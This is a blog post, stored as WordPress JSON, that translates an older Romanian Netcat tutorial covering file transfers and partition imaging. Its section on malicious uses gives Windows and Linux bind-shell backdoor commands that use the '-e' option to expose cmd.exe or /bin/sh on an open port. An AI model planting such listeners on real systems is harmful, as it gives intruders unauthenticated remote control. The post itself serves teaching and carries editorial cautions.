{"id":14,"date":"2026-12-03T16:58:53","date_gmt":"2026-12-03T16:58:53","guid":{"rendered":"http:\/\/localhost\/tuts.ro\/2026\/12\/03\/netcat-linux-windows-guide\/"},"modified":"2026-12-05T13:39:33","modified_gmt":"2026-12-05T13:39:33","slug":"netcat-linux-windows-guide","status":"publish","type":"post","link":"https:\/\/tutsplus.ro\/en\/2026\/12\/03\/netcat-linux-windows-guide\/","title":{"rendered":"Netcat: Malicious Uses and Server Administration"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>English translation of the original Romanian article, <a href=\"https:\/\/tutsplus.ro\/netcat-windows-linux\/\">\u201cNetcat \u2014 pentru scopuri rele, dar \u0219i pentru administratori de servere\u201d<\/a>. The examples retain the original command syntax and filenames.<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><strong>Compatibility note:<\/strong> This is an older tutorial. Netcat has several implementations with different options. In particular, the executable-launching <code>-e<\/code> option and the <code>-l -p<\/code> syntax below are not portable. The current <a href=\"https:\/\/man.openbsd.org\/nc\">OpenBSD nc manual<\/a> documents different meanings and restrictions. Check the help for your installed version before using the examples.<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" class=\"wp-image-13\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/netcat-original.avif\" width=\"90\" height=\"90\" alt=\"Original Netcat illustration: the word netcat above two yellow cat eyes\" loading=\"lazy\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The Netcat utility is often associated with hackers, but it can also be used for legitimate purposes. The original program was written for Unix; Linux and Windows versions appeared later.<\/p>\n\n\n<p class=\"wp-block-paragraph\">Netcat has been used as a backdoor on compromised computers and servers. It can establish a TCP or UDP connection between two computers, reading and writing data through an open port. This makes it possible to transfer files and, in some configurations, execute commands. It can also scan ports, although that is not its best-known use. Despite its age, Netcat remains a useful tool and has often been described as one of the most important small security utilities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Netcat used for malicious purposes<\/h2>\n\n\n<h3 class=\"wp-block-heading\">On Windows<\/h3>\n\n\n<p class=\"wp-block-paragraph\">To connect to a Windows computer using this method, Netcat must first be started on that computer in listening mode, on a port that is not blocked by a firewall.<\/p>\n\n\n<p class=\"wp-block-paragraph\"><strong>Run this command on the computer you want to connect to:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>C:\\nc.exe -l -p 8080 -e c:\\windows\\system32\\cmd.exe<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\">After you press Enter, nothing may appear on the screen. Netcat is listening for an incoming connection.<\/p>\n\n\n<ul class=\"wp-block-list\"><li><strong><code>-l<\/code> \u2014 listen:<\/strong> wait for an incoming connection.<\/li><li><strong><code>-p<\/code> \u2014 port:<\/strong> specify the listening port in the implementation used by this example. Some versions take the port number directly, without <code>-p<\/code>.<\/li><li><strong><code>-e<\/code> \u2014 execute:<\/strong> specify the program to run when a client connects, in versions that support this form of the option.<\/li><\/ul>\n\n\n<p class=\"wp-block-paragraph\"><strong>Connect from the other computer:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>C:\\nc.exe 192.168.1.101 8080\n\nMicrosoft Windows XP [Version 5.xx]\n(C) Copyright 1985-x Microsoft Corp.\nC:\\<\/code><\/pre>\n\n\n<h3 class=\"wp-block-heading\">On Linux<\/h3>\n\n\n<p class=\"wp-block-paragraph\">The corresponding Linux example starts a different shell: a program that accepts commands.<\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# nc -l -p 8080 -e \/bin\/sh<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\">On Windows, Netcat builds that support the command-executing <code>-e<\/code> option have often been flagged by antivirus software and removed during <a href=\"https:\/\/tutsplus.ro\/devirusare-online\/\">malware cleanup<\/a>. File transfers can still be performed with versions that do not provide command execution.<\/p>\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><strong>Editorial note:<\/strong> The shell examples above provide remote command access without authentication or encryption. They are historical demonstrations, not a secure remote-administration setup. Restrict any experiments to systems you own or are authorized to administer.<\/p><\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">Netcat used for legitimate purposes<\/h2>\n\n\n<p class=\"wp-block-paragraph\">Server administrators also use Netcat. After compromising a server, attackers may replace or infect its system binaries. This can undermine an administrator\u2019s attempt to clean the machine: an attacker may still be able to observe the administrator\u2019s actions, including password changes.<\/p>\n\n\n<p class=\"wp-block-paragraph\">The original article suggested keeping Netcat on a CD so that an administrator could connect without relying on the modified copy on the server, describing this as a way to avoid a compromised connection.<\/p>\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><strong>Editorial correction:<\/strong> A trusted copy of Netcat does not make a compromised operating system trustworthy, and these plain Netcat connections do not protect the data in transit. The original recovery claim should not be treated as a security guarantee.<\/p><\/blockquote>\n\n\n<p class=\"wp-block-paragraph\">Another advantage is the ability to copy files across a network without setting up an FTP server, HTTP server, or another file-transfer service. Netcat can transfer small files, large files, and even images of entire partitions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Example: reading a text file remotely<\/h2>\n\n\n<p class=\"wp-block-paragraph\">Suppose a text file named <code>adrese-web.txt<\/code> contains the line <code>parola adresa web www.exemplu.com<\/code> \u2014 roughly, \u201cpassword website address www.exemplu.com.\u201d The original Romanian filename and sample text are kept here so the examples match the source.<\/p>\n\n\n<p class=\"wp-block-paragraph\"><strong>Serve the file:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# nc -l -p 8080 &lt; adrese-web.txt<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\"><strong>Read it from the other computer:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# nc 192.168.1.101 8080\nparola adresa web www.exemplu.com<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Copying a file with Netcat<\/h2>\n\n\n<p class=\"wp-block-paragraph\"><strong>Send the file:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# cat imagine.jpg | nc -l 5050<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\"><strong>Receive the file:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# nc 192.168.1.101 5050 &gt; imagine.jpg<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Copying an entire partition with Netcat<\/h2>\n\n\n<p class=\"wp-block-paragraph\"><strong>Create and send a compressed image of the partition:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# dd if=\/dev\/hdb2 | gzip -9 | nc -l 5050<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\"><strong>Receive the image:<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><code>root# nc 192.168.1.101 5050 | pv -b &gt; partitiahdb2.img.gz<\/code><\/pre>\n\n\n<p class=\"wp-block-paragraph\">The original article describes <code>pv<\/code> as a progress indicator that shows how much data has been copied. More precisely, <a href=\"https:\/\/manpages.debian.org\/bookworm\/pv\/pv.1.en.html\"><code>pv<\/code> is a separate pipeline-monitoring utility<\/a>, and <code>-b<\/code> displays the number of bytes transferred; it is not a Netcat option.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The original Windows download reference<\/h2>\n\n\n<p class=\"wp-block-paragraph\">At the time of writing, Windows versions of Netcat were becoming harder to find online. To save readers time, the article provided this <a href=\"http:\/\/joncraton.org\/media\/files\/nc111nt.zip\" rel=\"nofollow\">Windows Netcat download link<\/a>, while noting that Linux versions were easier to obtain.<\/p>\n\n\n<p class=\"wp-block-paragraph\"><em>This link is retained as a historical reference from the original article. The legacy Windows binary has not been downloaded, executed, or verified for this translation.<\/em><\/p>\n\n","protected":false},"excerpt":{"rendered":"<p>An English translation of the original Netcat tutorial: Windows and Linux examples, remote text reading, file transfers, and partition imaging, with notes on legacy command syntax.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-14","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/14","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/comments?post=14"}],"version-history":[{"count":1,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/14\/revisions"}],"predecessor-version":[{"id":49,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/14\/revisions\/49"}],"wp:attachment":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/media?parent=14"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/categories?post=14"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/tags?post=14"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}